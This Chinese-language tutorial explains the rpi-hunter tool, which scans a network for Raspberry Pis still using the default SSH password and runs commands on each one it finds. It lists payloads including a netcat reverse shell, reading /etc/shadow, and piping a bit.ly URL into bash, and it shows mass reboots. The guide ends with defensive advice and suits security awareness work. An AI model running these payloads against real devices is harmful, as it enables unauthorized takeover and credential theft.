使用Rpi-hunter工具发现并攻击使用默认凭据的树莓派

本文详细介绍如何使用rpi-hunter工具发现网络中仍使用默认密码的树莓派设备,并通过SSH连接发送自定义载荷,展示物联网设备默认凭据带来的安全风险及防护措施。

如何使用Rpi-hunter通过默认凭据发现并攻击树莓派

默认凭据的问题

在设置树莓派时,很容易忽略更改默认密码。与许多物联网设备一样,树莓派的默认Raspbian操作系统安装时使用广为人知的默认密码,使设备容易受到远程访问的攻击。使用名为rpi-hunter的工具,黑客可以发现、访问并在连接到同一网络的任何弱密码Pi上投放自定义载荷。

虽然此工具主要用于本地网络,但它也能够从任何地方发现和攻击直接连接到互联网的Pi型号。网络上的易受攻击Pi远非简单的恶作剧,它可以让黑客无限制地访问您内部网络上的其他设备,甚至将载荷传播到其他易受攻击的设备。

Rpi-hunter的正面用途

如果您有多个树莓派,rpi-hunter可以简化保持它们更新的工作。定位网络上的Pi后,可以轻松地单独修改每个设备,或作为组同时访问每个Pi。虽然rpi-hunter默认编程尝试默认的Raspbian密码,但您可以轻松更改密码以反映您用于设置自己的树莓派的密码。

如果您有一个家庭或工作网络,其中有需要配置的树莓派,您可以将它们连接到网络,启用SSH,并使用rpi-hunter对整个组进行任何更改。您可以运行更新、更改密码或预加载Pi上可能需要的软件。将您所有的Pi连接到网络并同时向所有Pi发出命令的能力比逐个操作方便得多。

Rpi-hunter的恶意用途

不难想象如何使用发现和控制具有默认凭据的大型树莓派组的能力。除了标准的Raspbian之外,许多树莓派被用作OctoPrint控制器或其他具有众所周知默认密码的应用程序。如果这些设备中的任何一个直接连接到互联网,rpi-hunter可以通过互联网发现它们并开始发出命令。

忘记更改树莓派密码的风险在于允许陌生人远程控制它,并可能获得一个据点,从而进一步感染您的网络。设置后忘记运行默认凭据的树莓派的普通用户可能永远不会看到其设备被入侵的症状,即使它可能悄悄地遵循指令,如通过您的网络路由被盗信用卡交易或监视您的流量。

所需工具

要遵循本指南,您需要有一个树莓派型号,如Zero W、3 Model B+或4,运行Raspbian或Debian。您应该能够从Pi基金会的下载页面为树莓派下载此操作系统。一旦您的树莓派运行标准Raspbian,您可以使用以太网电缆(如果Pi有以太网端口)或Wi-Fi将其连接到家庭网络。

接下来,您需要一台带有Python的计算机来运行rpi-hunter。因为Python是跨平台的,您应该能够从您使用的操作系统的下载页面安装它。

当您安装了Python并且计算机连接到与树莓派相同的网络时,就可以开始使用rpi-hunter了。

准备Rpi-hunter

首先,我们需要安装rpi-hunter运行所依赖的任何库。为此,打开一个新的终端窗口并输入以下命令。如果您不是root用户,应在本文中的此命令和其他命令前使用sudo。

1
2
3
4
~# pip install -U argparse termcolor

Requirement already up-to-date: argparse in /usr/local/lib/python3.7/dist-packages (1.4.0)
Requirement already up-to-date: termcolor in /usr/lib/python3/dist-packages (1.1.0)
1
2
3
4
5
6
~# apt -y install arp-scan tshark sshpass

Reading package lists... Done
Building dependency tree
Reading state information... Done
...

安装这些库后,我们可以继续从GitHub存储库安装rpi-hunter。要克隆存储库,您可以在终端窗口中键入以下内容。

1
2
3
4
5
6
7
8
~# git clone https://github.com/BusesCanFly/rpi-hunter.git

Cloning into 'rpi-hunter'...
remote: Enumerating objects: 1, done.
remote: Counting objects: 100% (1/1), done.
remote: Total 138 (delta 0), reused 0 (delta 0), pack-reused 137
Receiving objects: 100% (138/138), 1.49 MiB | 4.27 MiB/s, done.
Resolving deltas: 100% (70/70), done.

现在,导航到"rpi-hunter"文件夹(通过cd命令),新下载的"rpi-hunter.py"已准备好运行。

1
~# cd rpi-hunter

在树莓派上启用SSH

通过以太网电缆或Wi-Fi将树莓派连接到网络,并确保启用SSH。您可以在新的终端窗口中运行raspi-config命令来检查这一点。选择"Interfacing Options",然后使用SSH启用对Pi的远程命令行访问。

启用SSH后,保存您的选项。您可能需要重新启动。当设备重新启动时,您可以通过在Pi上的终端窗口中键入ifconfig获取IP地址,然后在其他设备上运行以下命令来检查SSH是否正在运行。

1
~# nmap -p 22 (pi's IP address here)

如果Nmap扫描指示端口"打开",则SSH在您的Pi上成功运行。

在树莓派上安装Rpi-hunter

在第一次运行之前,我们需要通过在新的终端窗口中运行以下命令使"rpi-hunter.py"可执行。

1
~# chmod +x rpi-hunter.py

运行Rpi-hunter

现在,我们应该能够运行程序并查看我们可以使用的各种标志。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
~/rpi-hunter# python rpi-hunter.py -h

usage: rpi-hunter.py [-h] [--list] [--no-scan] [-r IP_RANGE] [-f IP_LIST]
                     [-c CREDS] [--payload PAYLOAD] [-H HOST] [-P PORT]
                     [--safe] [-q]

optional arguments:
  -h, --help         show this help message and exit
  --list             List avalible payloads
  --no-scan          Disable ARP scanning
  -r IP_RANGE        IP range to scan
  -f IP_LIST         IP list to use (Default ./scan/RPI_list)
  -c CREDS           Password to use when ssh'ing
  --payload PAYLOAD  (Name of, or raw) Payload [ex. reverse_shell or 'whoami']
  -H HOST            (If using reverse_shell payload) Host for reverse shell
  -P PORT            (If using reverse_shell payload) Port for reverse shell
  --safe             Print sshpass command, but don't execute it
  -q                 Don't print banner or ARP scan output

在这里,我们可以立即看到一些有用的标志。我们可以使用-r扫描单个设备或一系列IP地址,甚至可以使用-f标志从IP地址列表中提取。还有其他一些选项涉及我们要选择的有效载荷,我们可以通过键入以下命令来探索可用的有效载荷。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
~/rpi-hunter# python rpi-hunter.py --list

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
-----------------------------------------------------------------------------
      BusesCanFly                                           76 32 2e 30
-----------------------------------------------------------------------------

Payloads:
Specify with --payload name

[raincow_install] sudo apt -y install fortune cowsay lolcat
[motd] echo "CHANGE YOUR PASSWORD" > /etc/motd
[raincow_bashrc] sudo echo "fortune | cowsay | lolcat" >> ~/.bashrc
[reverse_shell] rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc None None >/tmp/fC
[apt_update] sudo apt update && sudo apt -y upgrade
[shadow] sudo cat /etc/shadow
[rickroll] curl -s -L http://bit.ly/10hA8iC | bash
[gitpip] sudo apt -y install git python-pip

在有效载荷列表中,我们可以看到有几个选项可供选择。我们可以更改当天的消息,创建反向shell以远程控制Pi,甚至自定义我们自己的有效载荷发送。

发现网络上的树莓派

要发现网络上的树莓派,rpi-hunter将运行一系列扫描以识别任何将自己列为树莓派制造的设备。如果我们想要精确,我们可以先自己运行扫描并直接在此处输入IP地址,但这里的重点是能够发现和控制网络上您可能不知道的设备。

在不了解我们所处网络的情况下,rpi-hunter将扫描整个网络范围以查找树莓派设备,将它们添加到列表中,然后向任何运行默认凭据的设备发送有效载荷。我们可以使用whoami有效载荷通过以下命令执行此操作。我在没有首先将Pi连接到网络的情况下运行了我的。(注意:您还可以通过插入-r标志和范围在有效载荷之前扫描特定的IP范围。)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
~/rpi-hunter# python rpi-hunter.py --payload whoami

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
-----------------------------------------------------------------------------
      BusesCanFly                                           76 32 2e 30
-----------------------------------------------------------------------------

Interface: wlp1s0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
172.16.42.1 de:f3:86:ec:ca:a0   (Unknown)
172.16.42.3 60:30:d4:6a:06:c8   (Unknown)
...
23 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.571 seconds (99.57 hosts/sec). 23 responded

Located 0 Raspi's

Loaded 0 IP's

Sending payload to Pi's
Godspeed, little payloads

从输出中可以看到,我们当前所在的网络上检测到零个树莓派。如果有一个,我们应该看到树莓派的响应,只是说"pi"以响应whoami命令。

发送默认有效载荷

现在,让我们继续向一个活动的树莓派发送脚本中包含的默认有效载荷之一。让我们使用motd有效载荷,它将修改Pi的"当日消息",当用户通过SSH登录时会出现该消息。(注意:如果您已经定位到要目标的Pi,请在有效载荷之前插入-r标志及其IP地址。)

当我们执行此操作时,脚本将使用默认凭据通过SSH连接到我们发现的任何Pi,然后将"CHANGE YOUR PASSWORD"添加到登录屏幕的当日消息文本中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
~/rpi-hunter# python rpi-hunter.py --payload motd

██████╗ ██████╗ ██╗      ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗
██╔══██╗██╔══██╗██║      ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗
██████╔╝██████╔╝██║█████╗███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝
██╔══██╗██╔═══╝ ██║╚════╝██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗
██║  ██║██║     ██║      ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║
╚═╝  ╚═╝╚═╝     ╚═╝      ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝
-----------------------------------------------------------------------------
      BusesCanFly                                           76 32 2e 30
-----------------------------------------------------------------------------

Interface: wlp1s0, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
172.16.42.1 de:f3:86:ec:ca:a0   (Unknown)
...
172.16.42.98    78:4f:43:59:7b:fb   Raspberry Pi
...

21 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.538 seconds (100.87 hosts/sec). 17 responded

Located 1 Raspi's

Loaded 1 IP's

Sending payload to Pi's
Godspeed, little payloads

Sending payload to  172.16.42.98

成功!下次我们通过SSH登录树莓派时,应该看到添加的"CHANGE YOUR PASSWORD"消息。

发送自定义有效载荷

现在我们可以发送有效载荷,让我们超越脚本中提供的默认有效载荷,使用简单的自定义有效载荷。为此,我们可以将任何要发送给Pi的命令括在引号中,放在–payload标志之后。要重新启动我们检测到的每个Pi,我们可以发送sudo reboot命令作为我们的有效载荷。结果命令如下所示:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
~/rpi-hunter# python rpi-hunter.py --payload "sudo reboot"

Located 1 Raspi's

Loaded 1 IP's

Sending payload to Pi's
Godspeed, little payloads

Sending payload to  172.16.42.98
Connection to 172.16.42.98 closed by remote host.

发出此命令后,网络上的每个树莓派应立即重新启动。如果某些Pi使用的密码与Raspbian设置的默认"raspberry"密码不同,您可以使用-c标志更改rpi-hunter尝试的密码。

使用默认密码以外的密码访问Pi可以通过在终端窗口中运行以下命令完成,其中"toor"是Pi的密码。

1
~/rpi-hunter# python rpi-hunter.py -c toor --payload "sudo reboot"

现在您可以修改发送的密码并自定义有效载荷,rpi-hunter已准备好远程控制任何Pi或Pi组。

Rpi-hunter让您同时控制多个Pi

具有默认凭据的设备很容易访问,rpi-hunter是一个强大而有用的概念证明,展示了同时接管大量易受攻击设备是多么容易。确保更改连接到网络的任何设备的默认密码,并且永远不要将具有默认凭据的设备直接暴露给互联网。

如果您担心其他人访问您的树莓派,请在不需要时禁用SSH,并考虑使用密钥文件而不是简单的密码来保护设备上的SSH访问。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计